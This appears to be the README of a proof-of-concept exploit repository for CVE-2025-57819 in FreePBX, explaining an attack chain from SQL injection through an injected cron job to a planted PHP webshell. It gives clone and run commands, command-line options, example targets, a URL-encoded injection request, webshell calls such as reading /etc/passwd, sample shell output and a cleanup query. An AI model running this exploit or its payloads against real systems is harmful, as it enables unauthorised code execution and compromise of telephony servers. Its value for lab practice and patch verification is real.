┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection                                               │
│    POST /admin/ajax.php?brand= → stacked query                 │
│    INSERT INTO cron_jobs …                                     │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection                                          │
│    Malicious cron job writes base64-decoded PHP webshell       │
│    to /var/www/html/shell.php                                  │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access                                             │
│    GET /shell.php?cmd=<command> → arbitrary code execution     │
└────────────────────────────────────────────────────────────────┘

# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC

# Install dependency
pip install requests

# Basic usage
python exploit.py <target>

# Drop into interactive shell after injection
python exploit.py <target> --shell

# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"

usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
                  [--param PARAM] [--no-wait] [-v]
                  target

CVE-2025-57819 – FreePBX SQLi → Cron → WebShell

positional arguments:
  target                target hostname or IP (with optional scheme)

options:
  -h, --help            show this help message and exit
  -p, --port PORT       port (default: 80/443)
  --shell               drop into interactive shell after injection
  --cmd CMD             execute a single command via the webshell
  --param PARAM         webshell query-string parameter (default: cmd)
  --no-wait             skip the webshell-verification poll
  -v, -vv               increase verbosity (-v info, -vv debug)

# Target with default HTTP port
python exploit.py connected.htb

# Target with custom port
python exploit.py 10.10.11.100 -p 8080

# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell

# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"

# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"

# Verbose output for debugging
python exploit.py connected.htb -vv --shell

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...

GET /shell.php?cmd=id

DELETE FROM cron_jobs WHERE command LIKE '%base64%';